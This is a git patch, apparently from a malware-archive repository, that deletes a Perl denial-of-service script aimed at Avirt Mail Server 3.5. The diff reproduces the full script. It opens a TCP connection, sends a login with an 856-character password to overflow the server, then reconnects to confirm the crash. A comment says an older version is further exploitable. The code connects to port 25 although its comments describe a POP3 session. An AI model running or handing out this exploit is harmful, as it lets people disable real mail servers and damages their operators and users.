From f3abc5bee8ed43c424ccd5154eb41615a62a5035 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Sat, 14 Nov 2020 01:18:04 -0600 Subject: [PATCH] Delete DoS.Perl.Avirt na --- Perl/DoS.Perl.Avirt | 47 --------------------------------------------- 1 file changed, 47 deletions(-) delete mode 100644 Perl/DoS.Perl.Avirt diff --git a/Perl/DoS.Perl.Avirt b/Perl/DoS.Perl.Avirt deleted file mode 100644 index e612282d..00000000 --- a/Perl/DoS.Perl.Avirt +++ /dev/null @@ -1,47 +0,0 @@ - -# Example for a possible DOS-attack against Avirt Mail Server ver3.5. -# There need to be 856 characters to overflow Server. -# Example : Trying example.com... -# Connected to example.com. -# Escape character is '^]'. -# +OK aVirt Mail POP3 Server Ready -# user fuckup -# +OK -# pass [856 characters] -# Overflow -# Hint : Avirt Mail Server ver3.3a has the same problem after 856 -# characters (but then you can exploit it) - -use IO::Socket; - -print "Possible DOS-attack against Avirt Mail Server ver3.5\n"; -print "++++++++++++++++++++++++++++++++++++++++++++++++++++\n"; - -if (not $ARGV[1]) { - print "Usage: $0 [host] [username]\n\n"; - exit(0); -} - -sub connecthost { - $host = IO::Socket::INET->new ( Proto => "tcp", - PeerAddr => $ARGV[0], - PeerPort => "25",) or die "Can't open connection to $ARGV[0] because $!\n"; - $host->autoflush(1); -} - -$bufferoverflow .= "A" x 856; - -print "\nOpen connection...\n"; -&connecthost; -print "Sending characters...\n"; -print $host "user $ARGV[1]\n"; -print $host "pass $bufferoverflow\n"; -print "close connection...\n"; -close $host; - -print "\nTesting...\n"; -&connecthost("\nThe host $ARGV[0] is vulnerable to this attack.\n"); -close $host; -die "The host $ARGV[0] is not vulnerable to this attack.\n"; - -# by arbon(arbon@gmx.de) \ No newline at end of file